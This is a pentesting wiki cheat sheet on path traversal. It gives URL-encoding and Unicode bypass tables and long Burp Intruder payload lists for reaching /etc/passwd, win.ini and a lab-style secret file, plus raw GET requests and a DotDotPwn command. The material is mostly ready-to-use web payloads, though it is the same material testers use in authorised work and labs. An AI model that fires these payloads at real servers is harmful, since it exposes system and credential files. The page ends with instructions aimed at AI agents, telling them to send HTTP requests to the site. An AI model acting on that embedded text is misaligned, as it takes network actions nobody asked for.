# Path Traversal

A directory traversal vulnerability can be present inside **a web server,** inside **an application framework** (during the HTTP request pre-processing and routing), or within **an application endpoint** that processes data according to application logic (for example, reading a file from storage based on its name).

## Platform - Filename and Path

You need to figure out a platform in order to know how to address specific files. For Linux, a good file to read is`/etc/passw`which is readable every time. On Windows, you can choose `C:\Windows\win.ini`

## Simple

```
../../../etc/passwd
```

## URL encoding

```
. = %2e
/ = %2f
\ = %5c
```

## Double URL encoding

```
. = %252e
/ = %252f
\ = %255c
```

## UTF-8 bit Unicode

```
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
```

## 16 bit Unicode

```
. = %u002e
/ = %u2215
\ = %u2216
```

## Bypass Path Sequence

```
../
.../
..../
..\
..\/
..;/
..././
...\.\
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
```

### Intruder

![](https://1354665097-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MYLPTPmXutfLTHzDEhx%2Fuploads%2FWzGT8dM3f1kqi7gL6RPV%2Fimage.png?alt=media\&token=82bc9700-5dc8-4f17-9010-44d7d9c4489c)

Don't forget to disable URL encoding for the both next Payloads (payload1,payload2)

![](https://1354665097-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MYLPTPmXutfLTHzDEhx%2Fuploads%2FXa1zIqJokGIOqk1Ze76V%2Fimage.png?alt=media\&token=032d0726-b33b-4732-b9f9-98f882075454)

### Payload 1 -  Traversal directory sequence, deep 6

```
../
../../
../../../
../../../../
../../../../../
../../../../../../
.../
.../.../
.../.../.../
.../.../.../.../
.../.../.../.../.../
.../.../.../.../.../.../
...//
...//...//
...//...//...//
...//...//...//...//
...//...//...//...//...//
...//...//...//...//...//...//
....//....//
....//....//....//
....//....//....//....//
....//....//....//....//....//
....//....//....//....//....//....//
..\
..\..\
..\..\..\
..\..\..\..\
..\..\..\..\..\
..\..\..\..\..\..\
...\
...\...\
...\...\...\
...\...\...\...\
...\...\...\...\...\
...\...\...\...\...\...\
....\\....\\
....\\....\\....\\
....\\....\\....\\....\\
....\\....\\....\\....\\....\\
....\\....\\....\\....\\....\\....\\
....\/
....\/....\/
....\/....\/....\/
....\/....\/....\/....\/
....\/....\/....\/....\/....\/
....\/....\/....\/....\/....\/....\/
..\/
..\/..\/
..\/..\/..\/
..\/..\/..\/..\/
..\/..\/..\/..\/..\/
..\/..\/..\/..\/..\/..\/
..;/
..;/..;/
..;/..;/..;/
..;/..;/..;/..;/
..;/..;/..;/..;/..;/
..;/..;/..;/..;/..;/..;/
..././
..././..././
..././..././..././
..././..././..././..././
..././..././..././..././..././
..././..././..././..././..././..././
...\.\
...\.\...\.\
...\.\...\.\...\.\
...\.\...\.\...\.\...\.\
...\.\...\.\...\.\...\.\...\.\
...\.\...\.\...\.\...\.\...\.\...\.\
%2e%2e%2f
%2e%2e%2f%2e%2e%2f
%2e%2e%2f%2e%2e%2f%2e%2e%2f
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f
%252e%252e%252f
%252e%252e%252f%252e%252e%252f
%252e%252e%252f%252e%252e%252f%252e%252e%252f
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f
..%c0%af
..%c0%af..%c0%af
..%c0%af..%c0%af..%c0%af
..%c0%af..%c0%af..%c0%af..%c0%af
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af
..%ef%bc%8f
..%ef%bc%8f..%ef%bc%8f
..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f
..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f
..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f
..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2215%uff0e%uff0e%u2215
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
%uff0e%uff0e%u2216%uff0e%uff0e%u2216
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216
```

### Payload 2 - Filename

```
etc/passwd
etc/passwd%00
etc/passwd%00.jpg
etc/passwd%00.png
etc//passwd
etc\passwd
etc\\passwd
etc%2fpasswd
etc%252fpasswd
etc%c0%afpasswd
etc%c0%af%e0%80%afpasswd
etc%c0%2fpasswd
etc%c0%5cpasswd
etc%c0%80%5cpasswd
etc%u2215passwd
etc%u2216passwd
home/carlos/secret
home/carlos/secret%00
home/carlos/secret%00.jpg
home/carlos/secret%00.png
home//carlos//secret
home\carlos\secret
home\\carlos\\secret
home%2fcarlos%2fsecret
home%252fcarlos%252fsecret
home%c0%afcarlos%c0%afsecret
home%c0%af%e0%80%afcarlos%c0%af%e0%80%afsecret
home%c0%2fcarlos%c0%2fsecret
home%c0%5ccarlos%c0%5csecret
home%c0%80%5ccarlos%c0%80%5csecret
home%u2215carlos%u2215secret
home%u2216carlos%u2216secret
```

## Web Server Path Traversal Attacks

```
GET C:/Windows/win.ini
GET /C:/Windows/win.ini
GET file:///Windows/win.ini
GET /~/Windows/win.ini

```

## Tools

### DotDotPwn

```
dotdotpwn -m http-url -u https://example.com/TRAVERSAL -f /etc/passwd -k root  
```

## References

<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal>\
<https://gracefulsecurity.com/path-traversal-cheat-sheet-linux/>[<br>](https://www.kali.org/tools/dotdotpwn/)<https://www.kali.org/tools/dotdotpwn/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hackerlab.gitbook.io/wiki.hackerlab.cz/web-pentesting/directory-traversal.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.